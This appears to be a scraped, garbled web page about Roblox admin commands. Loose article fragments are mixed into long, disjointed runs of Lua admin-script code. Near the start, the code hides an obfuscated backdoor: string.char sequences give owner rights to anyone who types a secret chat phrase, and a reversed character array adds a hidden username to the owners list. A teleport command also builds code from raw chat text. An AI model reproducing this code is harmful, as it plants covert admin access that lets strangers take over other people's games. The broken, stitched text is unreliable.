Join over 260,000 subscribers! 2009sutherlandadam 2 months ago. The Best Gaming Laptops Under $1000 [February 2021], How To Add, Manage and Delete Roles in Discord. Here is Roblox Color Codes or BrickColor Codes, including Color, Name, and Number. You can use these items to make your character look more unique and stick out of the crowd. Just check out the table below to find all the best codes to use! You can start with those commands first and see where the road takes you. Here is a list of some of the most used admin commands you can try in your Roblox games: Loopkill – Kills the player over and over again, Ff – Creates a force field around the player, Unsparkles – Nullifies the sparkles command, Minihead – Makes the player’s head smaller, Normalhead – Returns the head to the original size, Admin – Allows players to use the command script, Unadmin – Players lose the ability to use the command script, God Mode – The player becomes impossible to kill and becomes deadly to everything else in the game, UnGod Mode – The player returns to normal, Givetools – The player receives Roblox Starter Pack tools, Zombify – Turns a player into an infectious zombie, Merge – Allows one player to control another player, Control – Gives you control over another player. You can follow the below instructions and run the Roblox admin commands on your Mac and Windows-based systems. Roblox is a global platform that brings people together through play. Disclaimer: Some pages on this site may include an affiliate link. For the administrators of this wiki, please see Special:ListUsers/sysop. Can You Play Nintendo Wii Games on the Nintendo Switch? ", false, {plr}) end end)), plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end), local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs), game.Players.PlayerAdded:connect(AdminControl), for i, v in pairs(game.Players:children()) do AdminControl(v) end, C# | Delete cheat Are you are you want to delete this cheat Delete cheat. Some admins are worried that another player could hack their commands and take over the game, but that shouldn’t worry you because it’s almost impossible. Parkour is an open world game in which players explore an expansive city using different movements. end end), Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children()), Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children()), local chk1 = msg:lower():sub(4):find(" ") + 3, local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)), Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz), if msg:lower():sub(1,11) == "resetstats " then, local plrz = GetPlr(plr, msg:lower():sub(12)), if v and v:findFirstChild("leaderstats") then, for a, q in pairs(v.leaderstats:children()) do, if q:IsA("IntValue") then q.Value = 0 end, local chk1 = msg:lower():sub(5):find(" ") + 4, local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1)), local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1))), for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end, local chk1 = msg:lower():sub(6):find(" "), local plrz = GetPlr(plr, msg:lower():sub(6)), if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)), local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]], if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end, if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end, if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end, if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end, if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end, if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end, if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end, if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end, if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end, if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end, if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end, if BrickColor.new(teststr) ~= nil then str = teststr end, if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then, for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end, local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer, repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso"), local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false, p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom", local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5), motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0), motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0), if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end, ang = ang + math.min(torso.Velocity.magnitude/11, .5), motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv, if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end, repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1, if torso.Velocity.magnitude < .1 then wait(.1) end, ]] cl.Parent = v.PlayerGui cl.Disabled = false, if msg:lower():sub(1,7) == "uncape " then, local plrz = GetPlr(plr, msg:lower():sub(8)), if v and v:findFirstChild("PlayerGui") and v.Character then, if msg:lower():sub(1,7) == "noclip " then, local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]], cl.Parent = v.PlayerGui cl.Disabled = false, if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then, for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end, wait(.1) v.Character.Humanoid.PlatformStand = false, if v and v.Character and v.Character:findFirstChild("Torso") then, local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0), local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail", local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0), v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end), v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end), game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end, local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0), local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3), local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3), local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0), local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0), local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0), local msh2 = msh:Clone() msh2.Parent = back, local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1), local msh4 = msh3:Clone() msh4.Parent = left, if msg:lower():sub(1,7) == "unjail " then, for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end, if msg:lower():sub(1,11) == "starttools " then, if v and v:findFirstChild("Backpack") then, for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end, local plrz = GetPlr(plr, msg:lower():sub(7)), local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png", local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0, local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png", local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[, repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid"), local SlashSound = Instance.new("Sound", script.Parent.Handle), SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav", local LungeSound = Instance.new("Sound", script.Parent.Handle), LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav", local UnsheathSound = Instance.new("Sound", script.Parent.Handle), UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav", script.Parent.Handle.Touched:connect(function(hit), if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then, local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3), script.Parent.Activated:connect(function(), if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end, local tick = game:service("RunService").Stepped:wait(), local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge", local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0), script.Parent.GripForward = Vector3.new(0,0,1), script.Parent.GripRight = Vector3.new(0,-1,0), script.Parent.GripUp = Vector3.new(-1,0,0), script.Parent.GripForward = Vector3.new(-1,0,0), script.Parent.GripRight = Vector3.new(0,1,0), script.Parent.GripUp = Vector3.new(0,0,1), local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash", script.Parent.Equipped:connect(function(mouse), for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end, mouse.Icon = "http://www.roblox.com/asset/?id=103593352", if v and v.Character then v.Character:BreakJoints() end, if msg:lower():sub(1,8) == "respawn " then, local plrz = GetPlr(plr, msg:lower():sub(9)), if v and v.Character then v:LoadCharacter() end, v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)), if v and v.Character and v.Character:findFirstChild("Humanoid") then, v.Character.Humanoid.PlatformStand = true, if msg:lower():sub(1,7) == "unstun " then, v.Character.Humanoid.PlatformStand = false, local plrz = GetPlr(plr, msg:lower():sub(5)), if msg:lower():sub(1,10) == "invisible " then, local plrz = GetPlr(plr, msg:lower():sub(11)), for a, obj in pairs(v.Character:children()) do, if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end, if msg:lower():sub(1,8) == "visible " then, if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end, if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end, if msg:lower():sub(1,7) == "unlock " then, if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end, if msg:lower():sub(1,8) == "explode " then, local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position, if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end, local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl), if msg:lower():sub(1,7) == "unfire " then, for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end, local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl), if msg:lower():sub(1,8) == "unsmoke " then, for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end, if msg:lower():sub(1,9) == "sparkles " then, local plrz = GetPlr(plr, msg:lower():sub(10)), local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl), if msg:lower():sub(1,11) == "unsparkles " then, for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end, local plrz = GetPlr(plr, msg:lower():sub(4)), if v and v.Character then Instance.new("ForceField", v.Character) end, for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end, if msg:lower():sub(1,7) == "punish " then, v.Character.Parent = game:service("Lighting"), if msg:lower():sub(1,9) == "unpunish " then, v.Character.Parent = game:service("Workspace"), if msg:lower():sub(1,7) == "freeze " then, if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0, if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16, v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth, v.Character.Humanoid.MaxHealth = math.huge, if msg:lower():sub(1,8) == "ambient " then, local chk1 = msg:lower():sub(9):find(" ") + 8, local chk2 = msg:sub(chk1+1):find(" ") + chk1, game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)), if msg:lower():sub(1,11) == "brightness " then, if msg:lower():sub(1,9) == "fogcolor " then, local chk1 = msg:lower():sub(10):find(" ") + 9, game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)), if msg:lower():sub(1,7) == "fogend " then, if msg:lower():sub(1,9) == "fogstart " then, if msg:lower():sub(1,7) == "btools " then, local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool", local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone", local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer", local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize", local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[, repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui"), script.Parent.Selected:connect(function(mouse), sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil, hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil, mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end), hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end), hs.MouseButton1Down:connect(function() pdist = 0 end), script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false, local chk1 = msg:lower():sub(6):find(" ") + 5, local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)), if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then, for a, tool in pairs(game.Lighting:children()) do, if tool:IsA("Tool") or tool:IsA("HopperBin") then, if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end, if msg:lower():sub(1,12) == "removetools " then, local plrz = GetPlr(plr, msg:lower():sub(13)), if v and v.Character and v:findFirstChild("Backpack") then, for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end, for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end, if v and v:IsInGroup(msg:sub(chk1+1)) then, Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr}), elseif v and not v:IsInGroup(msg:sub(chk1+1))then, Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr}), if msg:lower():sub(1,7) == "damage " then, local chk1 = msg:lower():sub(8):find(" ") + 7, local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)), v.Character.Humanoid:TakeDamage(msg:sub(chk1+1)), for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end, if msg:lower():sub(1,8) == "setgrav " then, local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1)), local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0), for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end, if msg:lower():sub(1,7) == "nograv " then, for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end, if msg:lower():sub(1,7) == "health " then, v.Character.Humanoid.MaxHealth = msg:sub(chk1+1), local chk1 = msg:lower():sub(7):find(" ") + 6, local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)), v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1), if v and game:findFirstChild("Teams") then, for a, tm in pairs(game.Teams:children()) do, if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end, local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false, local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1)), if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then, v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)), if msg:lower():sub(1,7) == "change " then, for a, st in pairs(v.leaderstats:children()) do, if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end, for i,v in pairs(v.Character:children()) do, if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end, if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end, if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then, v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1, if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then, if msg:lower():sub(1,8) == "swagify " then, if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end, if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end, p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom", for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end, if tostring(id):lower():find("caramell") then id = 2303479 end, if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end, if tostring(id):find("rick") then id = 2027611 end, if tostring(id):find("halo") then id = 1034065 end, if tostring(id):find("pokemon") then id = 1372261 end, if tostring(id):find("cursed") then id = 1372257 end, if tostring(id):find("extreme") then id = 11420933 end, if tostring(id):find("awaken") then id = 27697277 end, if tostring(id):find("alone") then id = 27697392 end, if tostring(id):find("mario") then id = 1280470 end, if tostring(id):find("choir") then id = 1372258 end, if tostring(id):find("chrono") then id = 1280463 end, if tostring(id):find("dotr") then id = 11420922 end, if tostring(id):find("entertain") then id = 27697267 end, if tostring(id):find("fantasy") then id = 1280473 end, if tostring(id):find("final") then id = 1280414 end, if tostring(id):find("emblem") then id = 1372259 end, if tostring(id):find("flight") then id = 27697719 end, if tostring(id):find("banjo") then id = 27697298 end, if tostring(id):find("gothic") then id = 27697743 end, if tostring(id):find("hiphop") then id = 27697735 end, if tostring(id):find("intro") then id = 27697707 end, if tostring(id):find("mule") then id = 1077604 end, if tostring(id):find("film") then id = 27697713 end, if tostring(id):find("nezz") then id = 8610025 end, if tostring(id):find("angel") then id = 1372260 end, if tostring(id):find("resist") then id = 27697234 end, if tostring(id):find("schala") then id = 5985787 end, if tostring(id):find("organ") then id = 11231513 end, if tostring(id):find("tunnel") then id = 9650822 end, if tostring(id):find("spanish") then id = 5982975 end, if tostring(id):find("venom") then id = 1372262 end, if tostring(id):find("wind") then id = 1015394 end, if tostring(id):find("guitar") then id = 5986151 end, local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying, if plr.PlayerGui:findFirstChild("MUSICGUI") then return end, local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui, local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}, for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end, local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]], for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end, for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end, local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255), table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false, local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1), game.Lighting.Ambient = Color3.new(1,1,1), game.Lighting.FogColor = Color3.new(1,1,1), game.Lighting.Ambient = Color3.new(0,0,0), game.Lighting.FogColor = Color3.new(0,0,0), for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end, local torso = v.Character:findFirstChild("Torso"), local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg), repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0), if msg:lower():sub(1,7) == "unspin " then, for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end, if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end, if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end, v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0), v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0), v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0), v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0), v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0), local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = 